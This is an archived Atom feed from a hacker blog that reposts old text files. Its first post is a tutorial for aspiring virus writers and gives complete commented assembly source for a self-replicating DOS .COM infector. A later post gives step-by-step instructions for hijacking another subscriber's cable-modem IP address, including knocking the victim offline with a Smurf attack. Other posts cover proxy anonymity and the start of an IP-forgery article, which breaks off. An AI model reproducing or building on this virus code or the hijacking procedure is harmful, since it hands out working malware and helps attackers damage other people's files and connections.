<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-3972538303005912445</id><updated>2012-02-16T19:16:47.907-08:00</updated><category term='E-Book'/><title type='text'>---Great Hackers---</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://greathacker.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3972538303005912445/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://greathacker.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Elf</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>11</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-3972538303005912445.post-3666945473568410695</id><published>2007-07-18T05:09:00.000-07:00</published><updated>2007-07-18T05:24:01.538-07:00</updated><title type='text'>Virus programming (basics) #1</title><content type='html'>&lt;div align="left"&gt;&lt;div align="justify"&gt;Virus programming (basics) #1...&lt;br /&gt;-----------------------------------------------------------------&lt;br /&gt;This section is dedicated to those who would like to write a&lt;br /&gt;virus, but don't have the knowledge to do so.  First of all,&lt;br /&gt;writing a virus is no big deal.  It is an easy project, but one&lt;br /&gt;which requires some basic programming skills, and the desire to&lt;br /&gt;write a virus!  If either of these is missing, writing a virus&lt;br /&gt;would be tedious indeed!.&lt;br /&gt;&lt;br /&gt;Well, if you meet these requisites, keep reading this article....&lt;br /&gt;&lt;br /&gt;             JE   READ&lt;br /&gt;             JNE  FUCK_YOU!&lt;br /&gt;READ:&lt;br /&gt;&lt;br /&gt;The survival of a virus is based in its ability to reproduce.  "So&lt;br /&gt;how the fuck do I make a program reproduce?", you might ask.&lt;br /&gt;Simple, by getting it to copy itself to other files....&lt;br /&gt;&lt;br /&gt;The functional logic of a virus is as follows:&lt;br /&gt;&lt;br /&gt;1- Search for a file to infect&lt;br /&gt;2- Open the file to see if it is infected&lt;br /&gt;3- If infected, search for another file&lt;br /&gt;4- Else, infect the file&lt;br /&gt;5- Return control to the host program.&lt;br /&gt;&lt;br /&gt;The following is an example of a simple virus:&lt;br /&gt;&lt;br /&gt;;****************************************************************&lt;br /&gt;;                         START OF THE EXAMPLE:&lt;br /&gt;;****************************************************************&lt;br /&gt;;Warning, this example is a (piece of shit?)&lt;br /&gt;; - The virus does not test for prior infection&lt;br /&gt;; - it searches only for the first .COM file in the current&lt;br /&gt;;   directory&lt;br /&gt;;&lt;br /&gt;; Careful when executing this file, since the first time it's&lt;br /&gt;; executed it will search for and infect the first file in the&lt;br /&gt;; directory.  If we later run the newly infected file, it will find&lt;br /&gt;&lt;br /&gt;; the first file in its directory, itself.  Thus, it will re-infect&lt;br /&gt;&lt;br /&gt;; itself over and over.&lt;br /&gt;;===================CODIGO=======================================&lt;br /&gt;;(The variables in a .COM file are relative to offset 100h).&lt;br /&gt;&lt;br /&gt;codigo  segment 'code'&lt;br /&gt;   org 100h                 ;Organize all the code starting&lt;br /&gt;                            ; from offset 100h&lt;br /&gt;   assume cs:codigo,ds:codigo,es:codigo    ;Define the use of the&lt;br /&gt;                                           ;segments&lt;br /&gt;&lt;br /&gt;start   proc far                   ;Start the routine&lt;br /&gt;COMIENZO:&lt;br /&gt;   push    cs                    ;Store  CS&lt;br /&gt;   push    cs                    ;Store  CS&lt;br /&gt;                            ; once again.&lt;br /&gt;   pop     ds                    ;Bring DS out from stack&lt;br /&gt;   pop     es                    ;Bring ES out from stack&lt;br /&gt;&lt;br /&gt;   call    falso_proc            ;Call proc. so that its&lt;br /&gt;                            ; address is placed in the stack&lt;br /&gt;falso_proc      proc near&lt;br /&gt;falso_proc      endp&lt;br /&gt;&lt;br /&gt;   pop     bp                    ;BP&lt;== Proc. address.     sub     bp, 107h              ;BP&lt;== BP - Previous directory   ;This is done to take the variables relative to BP, since the ;infection displaces the variables at exactly the length of the ; file.  At the first infection, instruction "SUB BP, 107h" is ; 107h, so that the contents of BP is 0;  when I call a variable ; with "BP+VARIABLE"  the value of the variable's address is not ; modified.  When I load it , for example, from a 100h byte ; infected file, the instruction "SUB BP, 107h" leaves me at ; address 207h which means BP=100h, the size of the original file. ; Had I called the variable without adding BP, I would have been ; short by 100h bytes.   ;Find the first .COM file in the directory -----------------------------------------     mov     ah, 4eh                    ;Search for the 1st file     lea     dx, bp+file_inf            ;DS:DX= offset of FILE_INF                              ;(*.*) so it will search all                              ;the files, including directory                              ;names with extensions.     mov     cx, 0000h             ;Entry attributes     int     21h  ;These attributes mentioned in the commentary are the directory's ; entry attributes.  When I set the attributes to 0, I'm telling ; DOS to search normal files.  If I include a bit combination which  ; provides the Hidden, System or Directory attributes, DOS will ; search for files with those attributes, as well as the normal ; files.  If the search range includes the Volume bit, the search ; is limited to that. &lt;/div&gt;&lt;br /&gt;;These are the bits which correspond to each attribute:&lt;br /&gt;;Bits:    7 6 5 4 3 2 1 0&lt;br /&gt;;         . . . . . . . 1          Bit 0: Read only&lt;br /&gt;;         . . . . . . 1 .          Bit 1: Hidden&lt;br /&gt;;         . . . . . 1 . .          Bit 2: System&lt;br /&gt;;         . . . . 1 . . .          Bit 3: Volume&lt;br /&gt;;         . . . 1 . . . .          Bit 4: Directory&lt;br /&gt;;         . . 1 . . . . .          Bit 5: File&lt;br /&gt;;&lt;br /&gt;;Bits 6 and 7 are not used as they are reserved for "future&lt;br /&gt;; applications".&lt;br /&gt;&lt;br /&gt;;Open file&lt;br /&gt;;----------------------------------------------------------------&lt;br /&gt;&lt;div align="justify"&gt;     mov     ah, 3dh                    ;Open the file.&lt;br /&gt;   mov     al, 00000010b              ;read/write.&lt;br /&gt;   mov     dx, 009eh             ;DX&lt;== DTA(filename) offset     int     21h                        ;put the handle in AX     push    ax                         ;and store in stack.  ;The attributes I'm setting in AL are not the same as before. ; These are the "open" attributes.  We are only interested in the ; first 3 bits,  ;bits 2 1 0: ; ;     0 0 0          Read only mode ;     0 0 1          Write only mode ;     0 1 0          Read/Write mode ; ;OK, we now have the file attributes stored in AL.  What we now ; need to do is to store in DX the offset of the variable where ; I've stored the ASCIIZ chain with the name of the file to be ; opened.  In this case, we don't have a NAME_OF_FILE variable. ; Instead, the name is located in the DTA (Disk Transfer Area).  I ; we have it in the DTA......   Why?  Simply because when we search  ; for a file to infect, all the information we need is returned to ; this memory area.  This buffer, if it was not reset, is found in ; the PSP; more precisely, it starts at offset 80h and is 43d bytes  ; in size. ; ;The DTA format is as follows: ; ;Offset        Bytes          Function ; 00h           21d      Used by DOS for the 4fh service ;                        (search for the next file) ; 15h           01d      Attributes of the file that's been found ; 16h           02d      File time ; 18h           02d      File date ; 1Ah           04d      File size in bytes ; 1Eh           13d      File name in an ASCIIZ chain ;                        (FILENAME.EXT),0 ; ;Well, all that remains to be doe is to give DX the position in ; memory where I've stored the filename:  "MOV DX, E1h" and its's ; done.  But careful now, remember that DTA starts at offset 80h,  ; which means I have to pass to DX the value "80h+1Eh = 9Eh".  That  ; would than leave "MOV DX, 9Eh"; the problem is solved.  Now you are probably asking yourselves what I mean by "handle".  The handle is a number which tells DOS which file we want.  DOS gives us a handle for each file we open so we have to be careful to have the correct handle for each file which we read/write.  ;Read the first 3 bytes. -----------------------------------------------------     pop     bx                    ;I take the handle from the                                   ;stack to BX     push    bx                    ;and I store it again.     mov     ah, 3fh               ;Read file.     mov     cx, 0003h             ;Read 3 bytes.     lea     dx, bp+buffer            ;and store in the buffer.     int     21h  INFECTAR:                          ;(infect) ;Move pointer to the start. ---------------------------------------------------     mov  ax, 4200h           ;I move the write pointer                              ;to the beginning of the program     mov     cx, 0000h     mov     dx, 0000h     int     21h  ;The pointer's displacement, relative to the position of the ; pointer as specified in AL, is placed in CX and DX. ; Pointer displacement modes set in AL: ;    AL &lt;== 00 Move pointer to the beginning of the file. ;    AL &lt;== 01 leave pointer where it is. ;    AL &lt;== 02 Move pointer to end-of-file.  ;Write the first byte (jmp) -------------------------------------------------     mov     ah, 40h                    ;write the first byte.     mov     cx, 1d                ;Quantity=1.     lea     dx, bp+jump           ;DX&lt;== JUMP offset     int     21h  ;(Here we still need the handle, but we don't need to set it again ; because the register which contained the information was not ; modified. ; ;The first byte to be written is a JUMP instruction (the symbol for  ; the jump is below).  What follows the jump is the address of the ; jump, file-length + 1.  (test the "+ 1" thoroughly, since this ; can cause problems; if so, multiply by 18 or subtract 23.) ; Hehehehe. ;Since the entire virus code is copied at the end of the file, the ; jump gives the virus control in an infected file.  ;Calculating file length -------------------------------------------------     mov     cx, 2                 ;Copy 2 bytes.     mov     si, 009ah             ;SI&lt;== DTA offset     lea     di, bp+longitud            ;DI&lt;== File LENGTH offset.     rep     movsb                 ;Copy.   ;This instruction must have the 'SOURCE' buffer address in DS:SI ; and the address where the string will be copied in ES:DI (in this  ; case, I copy the file length of the DTA to the variable ; 'LONGITUD').       sub  word ptr [bp+longitud], 3     ;subtract 3 bytes from                                        ;[LONGITUD]  ;The JMP is completed --------------------------------------     mov     ah, 40h                    ;Write.     mov     cx, 2d                          ;Number of bytes.     lea     dx, bp+longitud            ;DX&lt;== LONGITUD (length)                                        ; offset     int     21h  ;Move pointer to end -------------------------------------------------------     mov  ax, 4202h           ;Move the write pointer to the                              ;end of the program.     mov     cx, 0000h     mov     dx, 0000h     int     21h     add  word ptr [bp+longitud],3 ;Restore LONGITUD.  ;Copy the virus to the program. ---------------------------------------------------     pop     bx                    ;Restore the handle.     mov     ah, 40h     mov     cx, 190d              ;number of bytes to copy.     lea  dx, bp+comienzo               ;Start copying from....     int     21h  ;Close the file after infection ------------------------------------     mov     ah, 3eh                    ;Close file.     int     21h  ;Here, too, we need in DS:DX the address of the buffer which ; contains the filename string, but in this case DS and DX already ; contain those values from before.  NO_INFECTAR:  ;==================RETURN CONTROL TO THE HOST===================== ;Copy the buffer which contains the first 3 bytes of the file into ; memory. ------------------     mov  cx, 0003h           ;Number of bytes (3).     mov  di, 0100h           ;DI&lt;== offset 100h. Beginning of the                              ;program in memory.     lea  si, bp+buffer            ;SI&lt;== BUFFER offset     rep  movsb                    ;Copy.  ;What we are doing here is to "fix" the file, since when it was ; infected, the first few bytes are overwritten by the virus.  That  ; is why we reconstruct the file to its original state, by copying ; the first 3 bytes, which we had stored earlier, into memory.  ;Jump to offset 100h --------------------------------------------------------      mov  ax, 0100h           ;Address needed to execute the host     jmp  ax  ;As we mentioned before, in .COM files the executable code begins ; at offset 100h.  The information found between 00h and 100h is ; program data, like the DTA for example.  ;The main difference between a .COM file and an .EXE is that a .COM ; cannot occupy more than one memory segment, or 65535 bytes. ; .EXEs can, because DOS can 'tailor' them to fit into a number of ; different segments.  Unlike.EXE files. .COM files are faithful ; reproductions of the contents of memory.  ;====================DATA AREA===================================  buffer              db 7d dup(0) longitud       db 2 dup(0) file_inf       db '*.COM',0 jump           db 'é',0       ;&lt;----jump ascii  ;(The character '0' is the end of the ASCIIZ string)  start     endp                     ;End of main procedure codigo  ends                       ;end of code segment end     comienzo                   ;END. Go to  COMIENZO  ;**************************************************************** ;                              END OF EXAMPLE ;****************************************************************                              Drako. &lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3972538303005912445-3666945473568410695?l=greathacker.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://greathacker.blogspot.com/feeds/3666945473568410695/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3972538303005912445&amp;postID=3666945473568410695' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3972538303005912445/posts/default/3666945473568410695'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3972538303005912445/posts/default/3666945473568410695'/><link rel='alternate' type='text/html' href='http://greathacker.blogspot.com/2007/07/virus-programming-basics-1.html' title='Virus programming (basics) #1'/><author><name>Elf</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3972538303005912445.post-2181998525154463313</id><published>2007-06-13T05:41:00.000-07:00</published><updated>2007-06-13T05:49:17.882-07:00</updated><title type='text'>[----Stay anonymous on the web------]</title><content type='html'>&lt;div align="justify"&gt;..By MAx member of :MPD:  (c) 1998 MAx [4d5044]&lt;br /&gt;&lt;br /&gt;&lt;div align="justify"&gt;Note..This tutorial will teach a average day user how to keep all his&lt;br /&gt;Esentual info limited so attacks from Hackers cant be made&lt;br /&gt;&lt;br /&gt;SHouth outs: Myth leader of MPD u rule dude,All members of MPD, and&lt;br /&gt;everyone else who i should shout out too u know who u are.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;The topics..&lt;br /&gt;1.What are packets.&lt;br /&gt;2.Getting a http proxy.&lt;br /&gt;3.How http proxy work.&lt;br /&gt;4.How to secrure http packets.&lt;br /&gt;5.How to edit what o's and mozilla info send.&lt;br /&gt;6.Getting a socket proxy.&lt;br /&gt;7.How socket proxy work.&lt;br /&gt;8.Cookies.&lt;br /&gt;9.Final note.&lt;br /&gt;-----------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;1.What are packets.&lt;br /&gt;&lt;br /&gt;Packets are very simple on the net There are millions of user's now for&lt;br /&gt;secrurity and other reasons there must be ways of establishing difference&lt;br /&gt;between user's Thus is done by packets, Packets are used when ever u connect&lt;br /&gt;to a remote server/system Its identify's who is connecting.&lt;br /&gt;An example of a http packet.( [Connect from MAx.mpd.com]&lt;br /&gt;[206.14.13.32] (Mozilla/4.05 [en] (X11;I;Linux 2.0.34 i586) on December&lt;br /&gt;2, 1998 at 14:34:45 )&lt;br /&gt;Now ill tell u what it is saying if u dont know.&lt;br /&gt;*Note*(Http packets is the way u are sending info through the web&lt;br /&gt;browser whenever u connect to a server/mechine/site )&lt;br /&gt;[connected from MAx.mpd.com]-This is my host&lt;br /&gt;[206.14.13.32]- is my ip&lt;br /&gt;(Mozilla/4.05)- is the version of mozilla im using&lt;br /&gt;(X11;I;Linux 2.0.32 i586)- Is The O's(operating system) And version of&lt;br /&gt;the o's im running&lt;br /&gt;[On december 2, 1998 at 14:34:45] - is day/year/time&lt;br /&gt;Now u know how it works this is one way Hackers get all the info they&lt;br /&gt;need on your computer to hack it.&lt;br /&gt;Now we dont want this anymore THus anonymous proxies where invented to&lt;br /&gt;give keep user's on the net secrure.Using anonymous proxies isnt&lt;br /&gt;100% secrure as the hacker can still do means on getting your real&lt;br /&gt;ip/host/os ill talk about that later but it makes it very hard for a hacker&lt;br /&gt;to get your ip/host once behind a proxy.&lt;br /&gt;Now http isnt the only means of packets there are also socket packets which&lt;br /&gt;ill talk about later.&lt;br /&gt;&lt;br /&gt;2.How http proxy work.&lt;br /&gt;A http proxy works like server it is actuelly and what it does is when&lt;br /&gt;setup in your browser when ever u want to go to sites.It will connect&lt;br /&gt;to there proxy server first then the proxy server conncts to the site&lt;br /&gt;u want to go to THus leaving no evendence of u on the site just the&lt;br /&gt;proxy server.(Dont worry once u setup a proxy dont think u always have&lt;br /&gt;to type in the proxy in first then go to there and type the site u want&lt;br /&gt;too go to. :)It dont work like that once u have entered the proxy settings&lt;br /&gt;in ya browser it will auto do the proxy for u all u have to do is surf the&lt;br /&gt;net.(Setting up a http proxy descussed later)&lt;br /&gt;&lt;br /&gt;3. Getting a http proxy&lt;br /&gt;Http proxies are very easyly found on the net as there are many&lt;br /&gt;commited Http proxy server's around that are free.&lt;br /&gt;Ill give a list of some http proxies for your all sorry if your&lt;br /&gt;country proxy isn't here just search on the net for (Http proxy)&lt;br /&gt;and ull find one.&lt;br /&gt;***Austria***   Port&lt;br /&gt;   cache02.netway.at        :80&lt;br /&gt;mail.ppl.co.at   :8080&lt;br /&gt;speth08.wu-wien.ac.at  :8080&lt;br /&gt;pong.ping.at   :8080&lt;br /&gt;&lt;br /&gt;***Australia***&lt;br /&gt;                                                                  proxy.gwbbs.net.au  :80&lt;br /&gt;chrome.one.net.au  :8080&lt;br /&gt;proxy.newave.net.au  :8080&lt;br /&gt;ws.edi.com.au   :80&lt;br /&gt;mimas.scu.edu.au  :80&lt;br /&gt;proxy.omcs.com.au  :8080&lt;br /&gt;jethro.meriden.pas.com.au:8080&lt;br /&gt;albany.jrc.net.au  :80&lt;br /&gt;basil.acr.net.au         :8080&lt;br /&gt;&lt;br /&gt;***Belgium***&lt;br /&gt;&lt;br /&gt;cache-mar.belbone.be     :80&lt;br /&gt;&lt;br /&gt;***Bulgaria***&lt;br /&gt;&lt;br /&gt;conan.gocis.bg   :8080&lt;br /&gt;&lt;br /&gt;***Brazil***&lt;br /&gt;&lt;br /&gt;200.250.14.5)ct-nt-02.cybertelecom.com.br :8080&lt;br /&gt;sanan.com.br   :8080&lt;br /&gt;&lt;br /&gt;***Canada***&lt;br /&gt;proxy.collegemv.qc.ca    :8080&lt;br /&gt;srvprx.cspaysbleuets.qc.ca :80&lt;br /&gt;valliere.csvalliere.qc.ca :80&lt;br /&gt;keeper.albertc.on.ca  :8080 &lt;br /&gt;cproxy1.justice.gc.ca  :80&lt;br /&gt;proxy.cslouis-hemon.qc.ca :8080&lt;br /&gt;gateway.kwantlen.bc.ca   :80&lt;br /&gt;&lt;br /&gt;***Switzerland***&lt;br /&gt;&lt;br /&gt;cache1.worldcom.ch     :8080&lt;br /&gt;cache2.worldcom.ch  :8080 &lt;br /&gt;cache3.worldcom.ch  :8080&lt;br /&gt;web-cache-2.cern.ch  :80&lt;br /&gt;proxy.span.ch   :8080&lt;br /&gt;gip-lausanne-nc.globalip.ch :80&lt;br /&gt;gip-lausanne-cf2.globalip.ch :8080&lt;br /&gt;gip-lausanne-cf1.globalip.ch :8080&lt;br /&gt;proxy2.iso.ch   :8080&lt;br /&gt;proxy.iprolink.ch        :80&lt;br /&gt;&lt;br /&gt;***China***&lt;br /&gt;&lt;br /&gt;proxy.szptt.net.cn  :8080&lt;br /&gt;                                                   ***United States***&lt;br /&gt;&lt;br /&gt;hpux.mesd.k12.or.us    :8080&lt;br /&gt;gatekeeper.ci.slc.ut.us  :8080&lt;br /&gt;episd.elpaso.k12.tx.us   :8080&lt;br /&gt;svc.logan.k12.ut.us         :8001&lt;br /&gt;proxy.eup.k12.mi.us   :8080&lt;br /&gt;svc.nues.k12.ut.us  :8001&lt;br /&gt;proxy.eup.k12.mi.us  :8080&lt;br /&gt;(207.78.252.100)oakweb.oak-web.washington-ch.oh.us :80&lt;br /&gt;homnibus.nvc.cc.ca.us  :80&lt;br /&gt;et.mohave.cc.az.us  :80&lt;br /&gt;&lt;br /&gt;&lt;div align="justify"&gt;(ok id say i gave out enough if ya local country not there go search&lt;br /&gt;the net and if cant find use another country one that is close to u)&lt;br /&gt;&lt;br /&gt;4.How to secrure Http packets&lt;br /&gt;Like i said before this is a normal http packet&lt;br /&gt;( [Connect from MAx.mpd.com]&lt;br /&gt;[206.14.13.32] (Mozilla/4.05 [en] (X11;I;Linux 2.0.34 i586) on December&lt;br /&gt;2, 1998 at 14:34:45 )&lt;br /&gt;Now to Make your ip and host anonymous to web browsing we are going to&lt;br /&gt;use http proxy with ya browser.THis is done by going to ya options&lt;br /&gt;and finding the info on proxy settings in thus put in all&lt;br /&gt;avalable places in proxy setting etc.ftp,http,secruity,&lt;br /&gt;Except leave sockets part blank THis isnt a socket proxy its a http&lt;br /&gt;Now after setting up a proxy in the proxy settings and putting in the&lt;br /&gt;port too.Our new packets will look like this.&lt;br /&gt;( [Connect from The_proxies_host]&lt;br /&gt;[The_proxies_ip] (Mozilla/4.05 [en] (X11;I;Linux 2.0.34 i586) on December&lt;br /&gt;2, 1998 at 14:34:45 )&lt;br /&gt;Now u might be thinking cool :) No longer have everdence of me on there&lt;br /&gt;server but dam they know my o's and version of mozilla later on ill&lt;br /&gt;descuse how to change that.U might also be thinking WOW now i can surf&lt;br /&gt;100% secure on the net.U are not totally right.IF a hacker had a real&lt;br /&gt;grunge on u.He has now the proxy u are using there ip/host&lt;br /&gt;now if he wants to get your info that badly he would have to hack&lt;br /&gt;the proxy server comapare the log time of the time u loged to the hacker's&lt;br /&gt;site too the logs of your connection to the proxy server.THus is a real&lt;br /&gt;big job and if pick a good proxy server they will be very secure from&lt;br /&gt;attack's So your pritty much safe.&lt;br /&gt;&lt;br /&gt;5.How to edit the o's and mozilla info send.&lt;br /&gt;&lt;br /&gt;Ok if your using Ie this is how u would do it.&lt;br /&gt;To see Original Settings&lt;br /&gt;GOTO HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings&lt;br /&gt;User Agent = Mozilla/4.0 (compatible; MSIE 4.01; Windows 95; (Your Orginial Settings))&lt;br /&gt;&lt;br /&gt;(Skip this Part here)&lt;br /&gt;GOTO HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion&lt;br /&gt;ProductName = Microsoft Windows 95&lt;br /&gt;Version = Windows 95&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;GOTO HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent\Post Platform&lt;br /&gt;(Your Orignial Settings Here) = IEAK(Your Orignial Settings Here)&lt;br /&gt;&lt;br /&gt;Example&lt;br /&gt;&lt;br /&gt;GOTO HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent\Post Platform&lt;br /&gt;Myth [Unix-Base] = IEAKMyth [Unix-Base]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;*Note (this info on how to change the mozilla and version shown was&lt;br /&gt;given to me from Myth i didn't make it.)&lt;br /&gt;&lt;br /&gt;6.Getting a socket proxy.&lt;br /&gt;&lt;br /&gt;Ok now socket proxies work like Http proxies the only diff is&lt;br /&gt;socket proxies are used with programs like (icq,mirc) And the packets&lt;br /&gt;are send through sockets not http.Getting a socket proxy is alot harder&lt;br /&gt;because Socket proxy server's have to be dedicated to a sertain program&lt;br /&gt;so its very limiting to the amount of user's he will get.&lt;br /&gt;Http is always used its using the web everyone uses it so http proxies&lt;br /&gt;are always going to be in need.&lt;br /&gt;TO find a socket proxy u can search the net typing in (Socket proxy)&lt;br /&gt;or try for sertain program's names like (Icq proxy).&lt;br /&gt;Hopefully u will get one&lt;br /&gt;socket proxies are useful as alot of attacks on user's are done&lt;br /&gt;by kids with nukes,spring,ping,smurf,etc etc And thus will anoy a user&lt;br /&gt;in mirc or from icq both these programs give any user possability to&lt;br /&gt;get a user's ip/host.&lt;br /&gt;thats why if u use these u will want a socket proxy.&lt;br /&gt;Alot of people go why dont u just use ident or jizz or something&lt;br /&gt;for mirc and icq.Well the reason u don't as there are expolits out&lt;br /&gt;there to crash spoofed hosts/ip for programs like jizz and ident&lt;br /&gt;a proxy is more stable way and more prevention then a spoofer program.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3972538303005912445-2181998525154463313?l=greathacker.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://greathacker.blogspot.com/feeds/2181998525154463313/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3972538303005912445&amp;postID=2181998525154463313' title='26 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3972538303005912445/posts/default/2181998525154463313'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3972538303005912445/posts/default/2181998525154463313'/><link rel='alternate' type='text/html' href='http://greathacker.blogspot.com/2007/06/stay-anonymous-on-web.html' title='[----Stay anonymous on the web------]'/><author><name>Elf</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>26</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3972538303005912445.post-5622482084245196255</id><published>2007-05-23T04:37:00.000-07:00</published><updated>2007-05-23T04:40:01.920-07:00</updated><title type='text'>Cable Modem IP Hijacking in Win95/98</title><content type='html'>&lt;div align="justify"&gt;Cable Modem IP Hijacking in Win95/98&lt;br /&gt;&lt;br /&gt;The purpose of this is to show you how bad cable modems security is and that&lt;br /&gt;even with a win box you can take someone else's IP. You can hijack IP's using&lt;br /&gt;a cable modem and it's very simple in any operating system. Just follow the&lt;br /&gt;steps:&lt;br /&gt;&lt;br /&gt;1) Choose someone's IP that you wish to have. Make sure the IP is on the same&lt;br /&gt;  network. Most cable modem providers use DHCP. The fist thing you have to&lt;br /&gt;  do is find the victims IP. Remember the victims IP has to be in the same&lt;br /&gt;  network and with the same service provider for this to work.&lt;br /&gt;&lt;br /&gt;2) Now this is probably the hardest thing in this file (but it's still easy),&lt;br /&gt;  you have to wait until the victims computer is off or you can Smurf kill&lt;br /&gt;  his connection. When you think his computer is off-line just try to ping&lt;br /&gt;  it to see if you get a response. Do this by going to a DOS prompt and&lt;br /&gt;  typing "ping &lt;victims&gt;". If you get a response then you have to try&lt;br /&gt;  harder.&lt;br /&gt;&lt;br /&gt;  After you get his PC off-line then you go into your network properties and&lt;br /&gt;  edit the IP settings, but instead of having yours there you put the victims&lt;br /&gt;  IP, host, and domain.&lt;br /&gt;&lt;br /&gt;3) Restart. If you restart and you get an IP conflict this means that the&lt;br /&gt;  victims computer is on, if you don't get an IP conflict then try to go to&lt;br /&gt;  your web browser and see if it works. With some cable modem providers you&lt;br /&gt;  might have to also add the Gateway, Subnet mask (255.255.55.0), Host, DNS&lt;br /&gt;  search, and Domain.&lt;br /&gt;&lt;br /&gt;Now you can go. Everything will work until the victims PC is back on. Once it is&lt;br /&gt;back online it will take the IP away because it will tell you that you have the&lt;br /&gt;wrong Mac addresses.&lt;br /&gt;&lt;br /&gt;*Linux*&lt;br /&gt;This is also possible in Linux, but is not the best way. You can change your Mac&lt;br /&gt;address to the victims PC and this is more secure and much easier. There are a&lt;br /&gt;couple of scripts to change your address, just look around.&lt;br /&gt;&lt;br /&gt;Warning: Some cable modem service providers will know when you're using the wrong&lt;br /&gt;IP, but hey, it might be useful.&lt;br /&gt;&lt;br /&gt;&lt;div align="center"&gt;Copyright (c) 1999 Wildman&lt;br /&gt;&lt;a href="http://www.hackcanada.com"&gt;www.hackcanada.com&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3972538303005912445-5622482084245196255?l=greathacker.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://greathacker.blogspot.com/feeds/5622482084245196255/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3972538303005912445&amp;postID=5622482084245196255' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3972538303005912445/posts/default/5622482084245196255'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3972538303005912445/posts/default/5622482084245196255'/><link rel='alternate' type='text/html' href='http://greathacker.blogspot.com/2007/05/cable-modem-ip-hijacking-in-win9598_23.html' title='Cable Modem IP Hijacking in Win95/98'/><author><name>Elf</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3972538303005912445.post-3798529266931696607</id><published>2007-05-07T05:28:00.000-07:00</published><updated>2007-05-23T04:41:17.213-07:00</updated><title type='text'>INTERNET HOLES - ELIMINATING IP ADDRESS FORGERY</title><content type='html'>&lt;div align="justify"&gt;INTERNET HOLES - ELIMINATING IP ADDRESS FORGERY&lt;br /&gt;COPYRIGHT (C), 1996, MANAGEMENT ANALYTICS - ALL RIGHTS RESERVED&lt;br /&gt;    _________________________________________________________________&lt;br /&gt;&lt;br /&gt;  The Internet is now the world's most popular network and it is full of&lt;br /&gt;  potential vulnerabilities. In this series of articles, we explore the&lt;br /&gt;  vulnerabilities of the Internet and what you can do to mitigate them.&lt;br /&gt;&lt;br /&gt;An Introduction IP Address Forgery&lt;br /&gt;&lt;br /&gt;  The Internet Protocol (IP) (RFC791) provides for two and only two&lt;br /&gt;  functions. It defines a datagram that can be routed through the&lt;br /&gt;  Internet, and it provides a means for fragmenting datagrams into&lt;br /&gt;  packets and reassembling packets into the original datagrams. To quote&lt;br /&gt;  from RFC791:&lt;br /&gt;  The internet protocol is specifically limited in scope to provide the&lt;br /&gt;      functions necessary to deliver a package of bits (an internet&lt;br /&gt;      datagram) from a source to a destination over an interconnected&lt;br /&gt;      system of networks. There are no mechanisms to augment end-to-end&lt;br /&gt;      data reliability, flow control, sequencing, or other services&lt;br 